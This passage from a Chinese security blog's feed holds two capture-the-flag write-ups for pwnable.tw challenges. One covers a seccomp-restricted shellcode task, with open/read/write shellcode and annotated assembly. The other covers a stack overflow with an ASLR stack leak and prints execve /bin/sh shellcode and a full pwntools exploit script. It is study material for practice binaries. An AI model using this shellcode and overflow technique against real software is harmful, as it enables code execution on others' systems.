    <id>https://showlinkroom.me/2017/01/24/pwnable-tw2/</id>
    <published>2017-01-24T02:24:53.000Z</published>
    <updated>2020-07-16T13:31:30.398Z</updated>
    
    <content type="html"><![CDATA[<p>贼心不死，过来继续刷第二题</p><span id="more"></span><h3 id="orw-100-pts">orw(100 pts)</h3><p>题目不知道在说什么意思，要求我们从“/home/orw/flag”地址读取flag，而且还限制了只能时候用<code>read</code>,<code>write</code>,<code>open</code>函数，那么就先下载下看看。<br>首先发现这个函数居然要我们输入shellcode，并且主动的执行shellcode。。。。看起来不是很好做了<br>首先在这里会看到一个奇怪的函数<br><img src="/2017/01/24/pwnable-tw2/pwnbale-2-01.png" alt=""><br>这个orw_  seccomp内部做了如下的事情<br><img src="/2017/01/24/pwnable-tw2/pwnbale-2-02.png" alt=""></p><ul><li><p>第一行进行了栈溢出保护</p></li><li><p>prctl是一个设置进程的函数，第一个设置了PR_SET_NO_NEW_PRIVS,如果不经过execve的话，不允许设置useriID等，相当于不能直接提权</p></li><li><p>第二个proctl限制了可以使用的system calls<br>这个prctl好像很复杂，这里有 <a href="%E7%9B%B8%E5%85%B3%E6%96%87%E6%A1%A3">https://www.kernel.org/doc/Documentation/prctl/seccomp_filter.txt</a><br>prctl采用一个附加的参数，它使用BPF程序(就是一个程序，用于过滤可用的系统调用)指定一个新的过滤器。<br>BPF程序的执行将利用到结构体seccomp_data，反映系统调用号，参数和其他元数据。然后，BPF程序必须返回一个可接受的值，以通知内核应该采取哪个动作。<br>用法：<br>prctl（PR_SET_SECCOMP，SECCOMP_MODE_FILTER，prog）;</p><p>'prog’参数是一个指向结构体sock_fprog的指针，它将包含过滤程序。如果程序无效，调用将返回-1并将errno设置为EINVAL。<br>如果prog允许fork / clone和execve，任何子进程将被限制为与父进程相同的过滤器和系统调用ABI。<br>在使用之前，任务必须调用prctl（PR_SET_NO_NEW_PRIVS，1）或在其命名空间中以CAP_SYS_ADMIN权限运行。如果未做到的话，将返回EACCES。此要求确保过滤器程序不能应用于具有比安放它们的任务更高权限的子进程。<br>此外，如果所连接的滤波器允许prctl（2），则可以在其上层叠附加的滤波器，这将增加评估时间，但是允许在处理的执行期间进一步减少攻击。<br>根据提示，那么这个函数就完成了题目的限制，所以问题就转换成了<strong>只用write和open来输出我们需要的字符串</strong>。<br>然而这个shellcode的长度也是有限制的,200个字节内必须解决问<br>|%eax   |Name    |Source         |%ebx          |%ecx   |%edx   |<br>|-------|--------|---------------|--------------|-------|-------|<br>|5      |sys_open|fs/open.c      |const char *  |int    |int    |<br>|-------|--------|---------------|--------------|-------|-------|<br>|3      |sys_read|fs/read_write.c|unsigned int  |char * |size_t |<br>|-------|--------|---------------|--------------|-------|-------|<br>|11     |sys_execve|arch/i386/kernel/process.c|struct pt_regs|<br>其中sys_execve的参数为：</p><p>long ebx;                  //可执行文件路径的指针（regs.ebx中）<br>long ecx;                  //命令行参数的指针（regs.ecx中）<br>long edx;                  //环境变量的指针（regs.edx中）</p></li></ul><p>其实下午一直再找 O_RDONLY 的具体值。。。后来自己试出来了是0.。。<br>sys_read(ebx = fb,ecx = str, edx = size_t)<br>正准备看的时候。。找到了shell code。。。</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">&quot;\x31\xc0\x31\xdb\x31\xc9\x31\xd2\xeb\x32\x5b\xb0\x05\x31\xc9\xcd\x80\x89\xc6\xeb\x06\xb0\x01\x31\xdb\xcd\x80\x89\xf3\xb0\x03\x83\xec\x01\x8d\    x0c\x24\xb2\x01\xcd\x80\x31\xdb\x39\xc3\x74\xe6\xb0\x04\xb3\x01\xb2\x01\xcd\x80\x83\xc4\x01\xeb\xdf\xe8\xc9\xff\xff\xff//home//orw//flag&quot;</span><br></pre></td></tr></table></figure><p>shellcode的含义如下</p><figure class="highlight x86asm"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br></pre></td><td class="code"><pre><span class="line"><span class="symbol">_start:</span></span><br><span class="line">    <span class="keyword">xor</span> %eax, %eax</span><br><span class="line">    <span class="keyword">xor</span> %ebx, %ebx</span><br><span class="line">    <span class="keyword">xor</span> %ecx, %ecx</span><br><span class="line">    <span class="keyword">xor</span> %edx, %edx</span><br><span class="line">    <span class="keyword">jmp</span> two</span><br><span class="line"><span class="symbol"> </span></span><br><span class="line"><span class="symbol">one:</span></span><br><span class="line">    <span class="keyword">pop</span> %ebx        <span class="comment">;%ebx拿到.string的地址</span></span><br><span class="line"></span><br><span class="line">    movb    <span class="number">$5</span>, %al <span class="comment">;设置为5（open）</span></span><br><span class="line">    <span class="keyword">xor</span> %ecx, %ecx  <span class="comment">;此时为O_RDONLY</span></span><br><span class="line">    <span class="keyword">int</span> <span class="number">$0</span>x80       <span class="comment">;中断</span></span><br><span class="line">     </span><br><span class="line">    <span class="keyword">mov</span> %eax, %esi  <span class="comment">;将此时的fd交给esi</span></span><br><span class="line">    <span class="keyword">jmp</span> read</span><br><span class="line"><span class="symbol"> </span></span><br><span class="line"><span class="symbol">exit:</span></span><br><span class="line">    movb    <span class="number">$1</span>, %al</span><br><span class="line">    <span class="keyword">xor</span> %ebx, %ebx</span><br><span class="line">    <span class="keyword">int</span> <span class="number">$0</span>x80</span><br><span class="line"><span class="symbol"> </span></span><br><span class="line"><span class="symbol">read:</span><span class="comment">;每次只读入一个字符串</span></span><br><span class="line">    <span class="keyword">mov</span> %esi, %ebx <span class="comment">;此时ebx存放fd</span></span><br><span class="line">    movb    <span class="number">$3</span>, %al<span class="comment">;中断号为3</span></span><br><span class="line">    <span class="keyword">sub</span> <span class="number">$1</span>, %esp</span><br><span class="line">    <span class="keyword">lea</span> (%esp), %ecx<span class="comment">;此时把字符串读入esp</span></span><br><span class="line">    movb    <span class="number">$1</span>, %dl<span class="comment">;读入大小为1</span></span><br><span class="line">    <span class="keyword">int</span> <span class="number">$0</span>x80</span><br><span class="line"> </span><br><span class="line">    <span class="keyword">xor</span> %ebx, %ebx<span class="comment">;此后将其清零</span></span><br><span class="line">    <span class="keyword">cmp</span> %eax, %ebx<span class="comment">;假如此时的eax(也就是读入的数据是否为空，如果读入了空的数据就返回0)</span></span><br><span class="line">    <span class="keyword">je</span>  exit</span><br><span class="line"> <span class="comment">;以下为write的的调用</span></span><br><span class="line">    movb    <span class="number">$4</span>, %al</span><br><span class="line">    movb    <span class="number">$1</span>, %bl</span><br><span class="line">    movb    <span class="number">$1</span>, %dl</span><br><span class="line">    <span class="keyword">int</span> <span class="number">$0</span>x80</span><br><span class="line">     </span><br><span class="line">    <span class="keyword">add</span> <span class="number">$1</span>, %esp<span class="comment">;完成读取之后还要退栈</span></span><br><span class="line">    <span class="keyword">jmp</span> read</span><br><span class="line"><span class="symbol"> </span></span><br><span class="line"><span class="symbol">two:</span></span><br><span class="line">    <span class="keyword">call</span>    one</span><br><span class="line"><span class="meta">    .string</span> <span class="string">&quot;file_name&quot;</span></span><br></pre></td></tr></table></figure><p>最后成功拿到flag~</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">FLAG&#123;sh3llc0ding_w1th_op3n_r34d_writ3&#125;</span><br></pre></td></tr></table></figure><p>后来发现，这个pwntools有模块可以生成这个shellcode！！！现在记录一下使用<br>shellcraft模块可以生成指定函数用途的汇编代码，比如说:</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">&gt;&gt;&gt; </span><span class="built_in">print</span> shellcraft.pushstr(<span class="string">&#x27;/homo/link&#x27;</span>)</span><br><span class="line">    /* push <span class="string">&#x27;/homo/link\x00&#x27;</span> */</span><br><span class="line">    push <span class="number">0x1010101</span></span><br><span class="line">    xor dword ptr [esp], <span class="number">0x1016a6f</span></span><br><span class="line">    push <span class="number">0x696c2f6f</span></span><br><span class="line">    push <span class="number">0x6d6f682f</span></span><br><span class="line"><span class="meta">&gt;&gt;&gt; </span><span class="built_in">print</span> shellcraft.mov(<span class="string">&#x27;eax&#x27;</span>,<span class="number">30000</span>)</span><br><span class="line">    xor eax, eax</span><br><span class="line">    mov ax, <span class="number">0x7530</span></span><br></pre></td></tr></table></figure><p>根据例子应该还有更多的用法，但是我这边总是会炸掉。。说是overflowerror，暂时也没有查明。。。就先这样吧。</p>]]></content>
    
    
    <summary type="html">&lt;p&gt;贼心不死，过来继续刷第二题&lt;/p&gt;</summary>
    
    
    
    <category term="Pwn" scheme="https://showlinkroom.me/categories/Pwn/"/>
    
    
    <category term="pwnable" scheme="https://showlinkroom.me/tags/pwnable/"/>
    
  </entry>
  
  <entry>
    <title>pwnable-tw</title>
    <link href="https://showlinkroom.me/2017/01/22/pwnable-tw/"/>
    <id>https://showlinkroom.me/2017/01/22/pwnable-tw/</id>
    <published>2017-01-22T06:32:29.000Z</published>
    <updated>2020-07-16T13:31:30.398Z</updated>
    
    <content type="html"><![CDATA[<p>听说有了新的题目<a href="pwnable.tw">pwnable.tw</a>，这里记录一下解题过程。</p><span id="more"></span><h3 id="1-start-100pts">1、start [100pts]</h3><p>执行以后发现是个读入的函数，然后发现如下：<br><img src="/2017/01/22/pwnable-tw/pwnbale-1-01.PNG" alt=""><br>正所谓<strong>所有会segmentation fault的程序都可以注入</strong>,看出来这里就是一个简单的pwn的位置啦，打开源码如下:</p><figure class="highlight x86asm"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br></pre></td><td class="code"><pre><span class="line"><span class="number">08048060</span> &lt;_start&gt;:</span><br><span class="line"> <span class="number">8048060</span>:       <span class="number">54</span>                      <span class="keyword">push</span>   %esp</span><br><span class="line"> <span class="number">8048061</span>:       <span class="number">68</span> <span class="number">9d</span> <span class="number">80</span> <span class="number">04</span> <span class="number">08</span>          <span class="keyword">push</span>   <span class="number">$0</span>x804809d</span><br><span class="line"> <span class="number">8048066</span>:       <span class="number">31</span> c0                   <span class="keyword">xor</span>    %eax,%eax</span><br><span class="line"> <span class="number">8048068</span>:       <span class="number">31</span> <span class="built_in">db</span>                   <span class="keyword">xor</span>    %ebx,%ebx</span><br><span class="line"> 804806a:       <span class="number">31</span> c9                   <span class="keyword">xor</span>    %ecx,%ecx</span><br><span class="line"> 804806c:       <span class="number">31</span> d2                   <span class="keyword">xor</span>    %edx,%edx</span><br><span class="line"> 804806e:       <span class="number">68</span> <span class="number">43</span> <span class="number">54</span> <span class="number">46</span> 3a          <span class="keyword">push</span>   <span class="number">$0</span>x3a465443</span><br><span class="line"> <span class="number">8048073</span>:       <span class="number">68</span> <span class="number">74</span> <span class="number">68</span> <span class="number">65</span> <span class="number">20</span>          <span class="keyword">push</span>   <span class="number">$0</span>x20656874</span><br><span class="line"> <span class="number">8048078</span>:       <span class="number">68</span> <span class="number">61</span> <span class="number">72</span> <span class="number">74</span> <span class="number">20</span>          <span class="keyword">push</span>   <span class="number">$0</span>x20747261</span><br><span class="line"> <span class="number">804807d</span>:       <span class="number">68</span> <span class="number">73</span> <span class="number">20</span> <span class="number">73</span> <span class="number">74</span>          <span class="keyword">push</span>   <span class="number">$0</span>x74732073</span><br><span class="line"> <span class="number">8048082</span>:       <span class="number">68</span> 4c <span class="number">65</span> <span class="number">74</span> <span class="number">27</span>          <span class="keyword">push</span>   <span class="number">$0</span>x2774654c</span><br><span class="line"> <span class="number">8048087</span>:       <span class="number">89</span> e1                   <span class="keyword">mov</span>    %esp,%ecx</span><br><span class="line"> <span class="number">8048089</span>:       b2 <span class="number">14</span>                   <span class="keyword">mov</span>    <span class="number">$0</span>x14,%dl</span><br><span class="line"> 804808b:       b3 <span class="number">01</span>                   <span class="keyword">mov</span>    <span class="number">$0</span>x1,%bl</span><br><span class="line"> <span class="number">804808d</span>:       b0 <span class="number">04</span>                   <span class="keyword">mov</span>    <span class="number">$0</span>x4,%al</span><br><span class="line"> 804808f:       cd <span class="number">80</span>                   <span class="keyword">int</span>    <span class="number">$0</span>x80</span><br><span class="line"> <span class="number">8048091</span>:       <span class="number">31</span> <span class="built_in">db</span>                   <span class="keyword">xor</span>    %ebx,%ebx</span><br><span class="line"> <span class="number">8048093</span>:       b2 3c                   <span class="keyword">mov</span>    <span class="number">$0</span>x3c,%dl</span><br><span class="line"> <span class="number">8048095</span>:       b0 <span class="number">03</span>                   <span class="keyword">mov</span>    <span class="number">$0</span>x3,%al</span><br><span class="line"> <span class="number">8048097</span>:       cd <span class="number">80</span>                   <span class="keyword">int</span>    <span class="number">$0</span>x80</span><br><span class="line"> <span class="number">8048099</span>:       <span class="number">83</span> c4 <span class="number">14</span>                <span class="keyword">add</span>    <span class="number">$0</span>x14,%esp</span><br><span class="line"> 804809c:       c3                      <span class="keyword">ret</span></span><br><span class="line"></span><br><span class="line"><span class="number">0804809d</span> &lt;_exit&gt;:</span><br><span class="line"> <span class="number">804809d</span>:       5c                      <span class="keyword">pop</span>    %esp</span><br><span class="line"> 804809e:       <span class="number">31</span> c0                   <span class="keyword">xor</span>    %eax,%eax</span><br><span class="line"> 80480a0:       <span class="number">40</span>                      <span class="keyword">inc</span>    %eax</span><br><span class="line"> 80480a1:       cd <span class="number">80</span>                   <span class="keyword">int</span>    <span class="number">$0</span>x80</span><br></pre></td></tr></table></figure><p>发现非常简单？甚至连main都没有，看起来就是个简单的汇编程序。这里发现在如下位置:</p><figure class="highlight x86asm"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line"><span class="number">8048087</span>:       <span class="number">89</span> e1                   <span class="keyword">mov</span>    %esp,%ecx</span><br><span class="line"><span class="number">8048089</span>:       b2 <span class="number">14</span>                   <span class="keyword">mov</span>    <span class="number">$0</span>x14,%dl</span><br><span class="line">804808b:       b3 <span class="number">01</span>                   <span class="keyword">mov</span>    <span class="number">$0</span>x1,%bl</span><br><span class="line"><span class="number">804808d</span>:       b0 <span class="number">04</span>                   <span class="keyword">mov</span>    <span class="number">$0</span>x4,%al</span><br><span class="line">804808f:       cd <span class="number">80</span>                   <span class="keyword">int</span>    <span class="number">$0</span>x80<span class="comment">;系统调用, sys_write</span></span><br><span class="line"><span class="number">8048091</span>:       <span class="number">31</span> <span class="built_in">db</span>                   <span class="keyword">xor</span>    %ebx,%ebx</span><br><span class="line"><span class="number">8048093</span>:       b2 3c                   <span class="keyword">mov</span>    <span class="number">$0</span>x3c,%dl</span><br><span class="line"><span class="number">8048095</span>:       b0 <span class="number">03</span>                   <span class="keyword">mov</span>    <span class="number">$0</span>x3,%al</span><br><span class="line"><span class="number">8048097</span>:       cd <span class="number">80</span>                   <span class="keyword">int</span>    <span class="number">$0</span>x80<span class="comment">;系统调用, sys_read</span></span><br></pre></td></tr></table></figure><p>进行了系统调用sys_write和sys_read,这里可以看出,寄存器的作用分别如下</p><table><thead><tr><th>寄存器</th><th style="text-align:center">作用</th></tr></thead><tbody><tr><td>eax</td><td style="text-align:center">中断类型号</td></tr><tr><td>ebx(bl)</td><td style="text-align:center">stdout</td></tr><tr><td>ecx</td><td style="text-align:center">输出字符串地址</td></tr><tr><td>edx</td><td style="text-align:center">输出字符串长度</td></tr></tbody></table><p>然后发现，%ebx的值清0了，那么此时相当于变为了stdin,并且将0x3c(60)赋值给了%edx，也就是说，此时使用的【依然是原先的esp】,也就是说这里【可以读入60个字符，而实际上栈里面却只有20的长度】，那么只要构造20个padding，加上函数的返回值就可以轻易的修改。<br>然而要如何修改呢。。。突然就不会了。。<br>于是乎只好依靠一下pwntools了，在使用过程中发现如下:<br><img src="/2017/01/22/pwnable-tw/pwnbale-1-02.PNG" alt=""><br>这里居然没有打开nx?!那就是说可以进行shellcode攻击了。虽然开始的时候想要使用pwntools生成，但是好像失败了。。后来从网上找了一段shellcode:<br>“\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69”<br>“\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80”<br>然后发现远没有自己想的那么简单，由于栈随机化(ASLR)的原因，导致这个栈的地址是不固定的，所以此时跳转的位置需要泄漏出来。。<br>观察到代码</p><figure class="highlight x86asm"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line"><span class="number">08048060</span> &lt;_start&gt;:</span><br><span class="line"> <span class="number">8048060</span>:       <span class="number">54</span>                      <span class="keyword">push</span>   %esp</span><br><span class="line"> <span class="number">8048061</span>:       <span class="number">68</span> <span class="number">9d</span> <span class="number">80</span> <span class="number">04</span> <span class="number">08</span>          <span class="keyword">push</span>   <span class="number">$0</span>x804809d</span><br></pre></td></tr></table></figure><p>一开始就将esp的值压到了栈中，所以此时要是能够想办法将栈中的数据打印就好了，然后可以知道</p><figure class="highlight x86asm"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line"><span class="number">8048097</span>:       cd <span class="number">80</span>                   <span class="keyword">int</span>    <span class="number">$0</span>x80</span><br><span class="line"><span class="number">8048099</span>:       <span class="number">83</span> c4 <span class="number">14</span>                <span class="keyword">add</span>    <span class="number">$0</span>x14,%esp</span><br><span class="line">804809c:       c3                      <span class="keyword">ret</span></span><br></pre></td></tr></table></figure><p>这个函数在最后退栈了，也就是栈原先内容为<br><img src="/2017/01/22/pwnable-tw/pwnbale-1-03.png" alt=""><br>退栈后的内容变为：<br><img src="/2017/01/22/pwnable-tw/pwnbale-1-04.png" alt=""><br>也就是说，此时让其跳转会到sys_write执行的位置，我们就能够泄漏的到esp的内容，然后利用相对位置，将esp的值进行调整，便能够跳转到指定的位置。由于我们写入的位置为ecx确定的<br>然而又发现，shellcode几乎都会对栈产生一定的影响，也就是说此时的esp还必须移动到一个对栈中内容无影响的位置上。<br><img src="/2017/01/22/pwnable-tw/pwnbale-1-05.png" alt=""><br>最初的样子<br>然后在完成输出以后变成<br><img src="/2017/01/22/pwnable-tw/pwnbale-1-06.png" alt=""><br>在进行了返回值返回后变成<br><img src="/2017/01/22/pwnable-tw/pwnbale-1-07.png" alt=""><br>所以假如此时直接跳转到</p><figure class="highlight x86asm"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line"><span class="number">8048087</span>:       <span class="number">89</span> e1                   <span class="keyword">mov</span>    %esp,%ecx</span><br><span class="line"><span class="number">8048089</span>:       b2 <span class="number">14</span>                   <span class="keyword">mov</span>    <span class="number">$0</span>x14,%dl</span><br><span class="line">804808b:       b3 <span class="number">01</span>                   <span class="keyword">mov</span>    <span class="number">$0</span>x1,%bl</span><br><span class="line"><span class="number">804808d</span>:       b0 <span class="number">04</span>                   <span class="keyword">mov</span>    <span class="number">$0</span>x4,%al</span><br><span class="line">804808f:       cd <span class="number">80</span>                   <span class="keyword">int</span>    <span class="number">$0</span>x80</span><br><span class="line"><span class="number">8048091</span>:       <span class="number">31</span> <span class="built_in">db</span>                   <span class="keyword">xor</span>    %ebx,%ebx</span><br><span class="line"><span class="number">8048093</span>:       b2 3c                   <span class="keyword">mov</span>    <span class="number">$0</span>x3c,%dl</span><br><span class="line"><span class="number">8048095</span>:       b0 <span class="number">03</span>                   <span class="keyword">mov</span>    <span class="number">$0</span>x3,%al</span><br><span class="line"><span class="number">8048097</span>:       cd <span class="number">80</span>                   <span class="keyword">int</span>    <span class="number">$0</span>x80</span><br><span class="line"><span class="number">8048099</span>:       <span class="number">83</span> c4 <span class="number">14</span>                <span class="keyword">add</span>    <span class="number">$0</span>x14,%esp</span><br><span class="line">804809c:       c3                      <span class="keyword">ret</span></span><br></pre></td></tr></table></figure><p>那么此时就会将esp中的值输出来，如果我们从这个位置继续输入的话，那么理论上要构造成这个样子<br><img src="/2017/01/22/pwnable-tw/pwnbale-1-08.png" alt=""><br>那么此时完成输出后会变成这样<br><img src="/2017/01/22/pwnable-tw/pwnbale-1-09.png" alt=""><br>所以如果我们把0x90替换成我们的shellcode，就能够完成攻击。<br>发现较短的shellcode都是先不到目的功能，必须伴随的提权，而提权+攻击的代码至少要21byte</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">\x31\xdb\x8d\x43\x17\x99\xcd\x80\x31\xc9\x51\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x8d\x41\x0b\x89\xe3\xcd\x80</span><br><span class="line">或者</span><br><span class="line">\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80</span><br></pre></td></tr></table></figure><p>所以这里还要换思路。。。。观察代码得到</p><figure class="highlight x86asm"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line"><span class="number">8048087</span>:       <span class="number">89</span> e1                   <span class="keyword">mov</span>    %esp,%ecx</span><br><span class="line"><span class="number">8048089</span>:       b2 <span class="number">14</span>                   <span class="keyword">mov</span>    <span class="number">$0</span>x14,%dl</span><br><span class="line">804808b:       b3 <span class="number">01</span>                   <span class="keyword">mov</span>    <span class="number">$0</span>x1,%bl</span><br><span class="line"><span class="number">804808d</span>:       b0 <span class="number">04</span>                   <span class="keyword">mov</span>    <span class="number">$0</span>x4,%al</span><br><span class="line">804808f:       cd <span class="number">80</span>                   <span class="keyword">int</span>    <span class="number">$0</span>x80<span class="comment">;系统调用, sys_write</span></span><br><span class="line"><span class="number">8048091</span>:       <span class="number">31</span> <span class="built_in">db</span>                   <span class="keyword">xor</span>    %ebx,%ebx</span><br><span class="line"><span class="number">8048093</span>:       b2 3c                   <span class="keyword">mov</span>    <span class="number">$0</span>x3c,%dl</span><br><span class="line"><span class="number">8048095</span>:       b0 <span class="number">03</span>                   <span class="keyword">mov</span>    <span class="number">$0</span>x3,%al</span><br><span class="line"><span class="number">8048097</span>:       cd <span class="number">80</span>                   <span class="keyword">int</span>    <span class="number">$0</span>x80<span class="comment">;系统调用, sys_read</span></span><br></pre></td></tr></table></figure><p>此时的ecx的赋值只发生了一次，相当于如果第一次ret的时候不去干涉这个值和dl，那么此时的输出字符串长度【就为后来设置的0x3c,并且此时指向的依然为原先的字符串位置】也就是说，这一次我们的esp泄露是发生在4*6 = 24个字节之后，并且一旦泄漏之后，我们的空间将会变得非常大！此时再插入shellcode即可<br><img src="/2017/01/22/pwnable-tw/pwnbale-1-10.png" alt=""><br>这次要写入的内容总长度为5<em>4</em>2 + 4<br>最后。。。成功了！<br><img src="/2017/01/22/pwnable-tw/pwnbale-1-11.png" alt=""><br>附上解题代码:</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">#   -*- coding:utf-8 -*-</span></span><br><span class="line"><span class="comment">#!usr/bing.env python</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span> *</span><br><span class="line"></span><br><span class="line">DEBUG = <span class="number">0</span></span><br><span class="line"><span class="keyword">if</span> DEBUG:</span><br><span class="line">    context.log_level = <span class="string">&#x27;debug&#x27;</span></span><br><span class="line">    context.terminal = [<span class="string">&#x27;tmux&#x27;</span>, <span class="string">&#x27;splitw&#x27;</span>, <span class="string">&#x27;-h&#x27;</span>]</span><br><span class="line">    ph = process(<span class="string">&#x27;./start&#x27;</span>)</span><br><span class="line">    <span class="comment"># gdb.attach(ph,execute = &#x27;b *0x08048060&#x27;)</span></span><br><span class="line">    gdb.attach(ph)</span><br><span class="line"><span class="keyword">else</span>:</span><br><span class="line">    <span class="comment"># ph = process(&#x27;./start&#x27;)</span></span><br><span class="line">    ph = remote(<span class="string">&#x27;139.162.123.119&#x27;</span>, <span class="number">10000</span>)</span><br><span class="line"></span><br><span class="line"></span><br><span class="line">length = <span class="number">44</span></span><br><span class="line">address = <span class="string">&#x27;\x8b\x80\x04\x08&#x27;</span></span><br><span class="line">shellcode = <span class="string">&quot;\x31\xdb\x8d\x43\x17\x99\xcd\x80\x31\xc9\x51\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x8d\x41\x0b\x89\xe3\xcd\x80&quot;</span></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">transUni</span>(<span class="params">char</span>):</span><br><span class="line">    <span class="keyword">return</span> <span class="built_in">hex</span>(<span class="built_in">ord</span>(char))[<span class="number">2</span>:]</span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span> __name__ == <span class="string">&quot;__main__&quot;</span>:</span><br><span class="line"></span><br><span class="line">    <span class="built_in">print</span> ph.recvuntil(<span class="string">&#x27;:&#x27;</span>)</span><br><span class="line">    ph.send(<span class="string">&#x27;\x90&#x27;</span>*<span class="number">20</span> + address)</span><br><span class="line">    data =  ph.recv(<span class="number">0x3c</span>)</span><br><span class="line">    <span class="built_in">print</span> <span class="string">&quot;address is 0x&quot;</span> + <span class="string">&#x27;&#x27;</span>.join(<span class="built_in">list</span>(<span class="built_in">map</span>(transUni,data[<span class="number">24</span>:<span class="number">28</span>])))</span><br><span class="line">    stack_addr = data[<span class="number">24</span>:<span class="number">28</span>]</span><br><span class="line">    stack_addr = p32(u32(stack_addr) - <span class="number">7</span>*<span class="number">4</span>)</span><br><span class="line">    <span class="built_in">print</span> <span class="string">&quot;now stack_addr is 0x&quot;</span> + <span class="string">&#x27;&#x27;</span>.join(<span class="built_in">list</span>(<span class="built_in">map</span>(transUni,stack_addr)))</span><br><span class="line">    ph.send(shellcode + (length - <span class="built_in">len</span>(shellcode))*<span class="string">&#x27;\x90&#x27;</span> + stack_addr)</span><br><span class="line">    ph.interactive();</span><br><span class="line"></span><br></pre></td></tr></table></figure><p>（菜鸡也算是走出了第一步了。。终于也是自己做了一题栈溢出）<br>话说<strong>要是以后需要用到动态链接库的时候，可以再从这道题目入手</strong></p>]]></content>
    
    
    <summary type="html">&lt;p&gt;听说有了新的题目&lt;a href=&quot;pwnable.tw&quot;&gt;pwnable.tw&lt;/a&gt;，这里记录一下解题过程。&lt;/p&gt;</summary>
    
    
    
    <category term="Pwn" scheme="https://showlinkroom.me/categories/Pwn/"/>
    
    
    <category term="pwnable" scheme="https://showlinkroom.me/tags/pwnable/"/>
    
  </entry>
  
  <entry>
    <title>python-dict相关</title>
    <link href="https://showlinkroom.me/2017/01/22/python-dict/"/>
    <id>https://showlinkroom.me/2017/01/22/python-dict/</id>
    <published>2017-01-22T01:27:33.000Z</published>
    <updated>2021-02-06T15:57:55.825Z</updated>
    
